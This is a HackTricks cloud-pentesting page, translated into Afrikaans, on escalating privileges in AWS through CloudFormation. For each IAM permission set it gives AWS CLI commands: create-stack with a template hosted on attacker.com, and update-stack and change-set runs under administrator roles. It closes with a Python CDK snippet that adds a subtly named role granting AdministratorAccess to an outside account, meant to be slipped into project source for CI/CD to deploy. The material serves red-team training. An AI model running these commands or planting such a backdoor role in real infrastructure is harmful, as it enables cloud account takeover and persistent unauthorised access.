AWS - Cloudformation Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

cloudformation

Vir meer inligting oor cloudformation, kyk:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

’n Aanvaller met hierdie toestemmings kan voorregte opgradeer deur ’n CloudFormation-stapel te skep met ’n pasgemaakte sjabloon, gehos op hul bediener, om aksies uit te voer onder die toestemmings van ’n gespesifiseerde rol:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

In die volgende bladsy het jy ’n uitbuiting voorbeeld met die bykomende toestemming cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Potensiële Impak: Privesc na die cloudformation diensrol wat gespesifiseer is.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

In hierdie geval kan jy ’n bestaande cloudformation stapel misbruik om dit op te dateer en voorregte te verhoog soos in die vorige scenario:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Die cloudformation:SetStackPolicy toestemming kan gebruik word om jouself UpdateStack toestemming oor ’n stapel te gee en die aanval uit te voer.

Potensiële Impak: Privesc na die cloudformation diensrol wat gespesifiseer is.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

As jy hierdie toestemming het maar geen iam:PassRole nie, kan jy steeds die stapels wat gebruik word opdateer en die IAM Rolle wat hulle reeds aangeheg het misbruik. Kyk na die vorige afdeling vir ’n voorbeeld van ’n uitbuiting (moet net nie enige rol in die opdatering aandui nie).

Die cloudformation:SetStackPolicy toestemming kan gebruik word om jouself UpdateStack toestemming oor ’n stapel te gee en die aanval uit te voer.

Potensiële Impak: Privesc na die cloudformation diensrol wat reeds aangeheg is.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

’n Aanvaller met toestemmings om ’n rol oor te dra en ’n ChangeSet te skep & uit te voer kan ’n nuwe cloudformation stapel skep/opdateer en die cloudformation diensrolle misbruik net soos met die CreateStack of UpdateStack.

Die volgende uitbuiting is ’n variatie van die CreateStack een wat die ChangeSet toestemmings gebruik om ’n stapel te skep.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Die cloudformation:SetStackPolicy toestemming kan gebruik word om jouself ChangeSet toestemmings oor ’n stap te gee en die aanval uit te voer.

Potensiële Impak: Privesc na cloudformation diensrolle.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Dit is soos die vorige metode sonder om IAM rolle oor te dra, so jy kan net alreeds aangehegte eenhede misbruik, net die parameter aanpas:

--change-set-type UPDATE

Potensiële Impak: Privesc na die cloudformation diensrol wat reeds aangeheg is.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

’n Aanvaller kan hierdie toestemmings misbruik om StackSets te skep/op te dateer om arbitrêre cloudformation rolle te misbruik.

Potensiële Impak: Privesc na cloudformation diensrolle.

cloudformation:UpdateStackSet

’n Aanvaller kan hierdie toestemming misbruik sonder die passRole toestemming om StackSets op te dateer om die aangehegte cloudformation rolle te misbruik.

Potensiële Impak: Privesc na die aangehegte cloudformation rolle.

AWS CDK

Die AWS cdk is ’n hulpmiddel wat gebruikers toelaat om hul infrastruktuur-as-kode in tale te definieer waarmee hulle reeds bekend is, sowel as om maklik gedeeltes te hergebruik. Die CDK omskakel dan die hoëvlak kode (bv. python) in Cloudformation sjablone (yaml of json).

Om die CDK te gebruik, moet ’n administratiewe gebruiker eers die rekening bootstrap, wat verskeie IAM rolle skep, insluitend die exec rol, wat */* toestemmings het. Hierdie rolle volg die naamstruktuur cdk-<qualifier>-<name>-<account-id>-<region>. Bootstrapping moet een keer per streek per rekening gedoen word.

Standaard het CDK gebruikers nie toegang om die rolle wat nodig is om die CDK te gebruik, te lys nie, wat beteken dat jy dit handmatig moet bepaal. As jy ’n ontwikkelaar se masjien of ’n CI/CD node kompromitteer, kan hierdie rolle aanvaar word om jouself die vermoë te gee om CFN sjablone te ontplooi, met die cfn-exec rol om CFN toe te laat om enige hulpbronne te ontplooi, wat die rekening volledig kompromitteer.

Bepaling van die rolname

As jy cloudformation:DescribeStacks het, is die rolle gedefinieer in ’n stap wat CDKToolkit genoem word, en jy kan die name daaruit trek.

As jy op ’n masjien is wat gebruik is om CDK projekte te bou en te ontplooi, kan jy dit uit cdk.out/manafest.json in die projek se wortelgids trek.

Jy kan ook ’n goeie raaiskoot maak oor wat hulle is. qualifier is ’n string wat by die rolle gevoeg word wat toelaat dat verskeie instansies van die CDK bootstrap gelyktydig ontplooi kan word, maar die standaardwaarde is hard-gecodeer na hnb659fds.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

Voeg kwaadwillige kode by die projekbron

As jy na die projekbron kan skryf, maar dit nie self kan ontplooi nie (byvoorbeeld, die ontwikkelaar ontplooi die kode via CI/CD, nie die plaaslike masjien nie), kan jy steeds die omgewing kompromenteer deur kwaadwillige hulpbronne aan die stapel toe te voeg. Die volgende voeg ’n IAM-rol by wat deur ’n aanvallerrekening aanvaar kan word aan ’n python CDK-projek.

class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks